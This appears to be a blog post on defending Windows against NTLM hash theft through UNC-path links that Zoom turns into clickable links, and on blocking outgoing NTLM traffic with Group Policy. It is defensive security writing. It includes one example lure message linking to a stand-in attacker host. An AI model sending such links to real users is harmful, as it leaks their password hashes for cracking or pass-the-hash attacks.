There are countless ways to harden your operating system. I’m planning to post some recommendations from time to time how to make your Windows OS more secure. Let’s start with one tip that turns out to be very effective against a recent security flaw in the highly popular video chat app “Zoom”. Bleeping Computer already reported about this security tweak, but I thought it might be valuable for one or the other to have some more details on why the attack is working, how countermeasures can be set up and what to consider before doing so.

So, what’s the problem with Zoom and many other applications? They are converting text that “looks” like a link into an actually clickable hyperlink. This means, if you send a chat message like “Hello, you can search it on www.google.com”, the receiver will see a clickable link: “Hello, you can search it on www.google.com“.

Now, why is this an issue, you might ask. In fact, Zoom is of course not the only application that is performing this “link conversion” and in most cases it is very useful, so Microsoft offers some default functionality: When you use the “RichText” element for your application development, you will not need to reinvent the wheel, but many features – like hyperlink conversion – are already there for you.

The problem is, that not only URLs to the internet are converted, but also so-called “UNC paths“. UNC stands for Universal Naming Convention and allows to link to network resources like shared folders, printers, etc. You could send a chat message to somebody containing a UNC and Zoom and many other chat tools will convert it into a clickable link: “Hi, click here: \\evil.host\someCoolResource“.

When you want to access this resource, you will need to be authenticated, i.e. you will have to show to the evil.host computer that you are allowed to access. For a user this happens unseen – there is no prompt to enter your password or anything, but instead your system will automatically transmit your username and password to the remote machine that is hosting the resource to allow authentication. The attacker just has to wait, and your computer will happily tell them your password.

Wait – the password is transferred to a remote location just like that?

Well, in fact only a hash of your password is transferred, commonly known as the “NTLM hash“, although Microsoft officially calls it just “NT Hash“. The hashing algorithm in use is considerably outdated but still used for backward compatibility. The hash can be cracked rather easily, which means your password will be exposed, or your hash can also be used “as is” in a so-called Pass-the-Hash attack. So, while your password will not be transmitted in the clear, the algorithm that is used to protect it can be easily exploited.

Hash stealing is nothing new, but it becomes a problem when more users are working from home, using vulnerable software that makes it very easy to exploit widely known security issues. Microsoft themselves state:

NTLM and NTLMv2 authentication is vulnerable to a variety of malicious attacks, including SMB replay, man-in-the-middle attacks, and brute force attacks. Reducing and eliminating NTLM authentication from your environment forces the Windows operating system to use more secure protocols, such as the Kerberos version 5 protocol, or different authentication mechanisms, such as smart cards.

The good news is that while “automatic authentication” is by design, Microsoft also offers a way how to prevent it: Using the good old Group Policy Object (GPO) Editor. The option we are looking for is called “Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers“. You can find it by typing “Local Security Policy” in your Windows Start Menu and then navigate to “Local Policies” – “Security Options”:

To avoid NTLM hash stealing, you will need to set this option to “Deny All”:

If you are using the Windows Home Edition, the GPO Editor will not be available, but you can still set options via the Registry Editor.

Obviously, in a production environment you will want to first monitor how often a hash is actually being forwarded and if this could break something. Therefore, Microsoft recommends:

First, select Audit all and then review the Operational log to understand which servers are involved in these authentication attempts. You can then add those server names to a server exception list by using the Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication policy setting.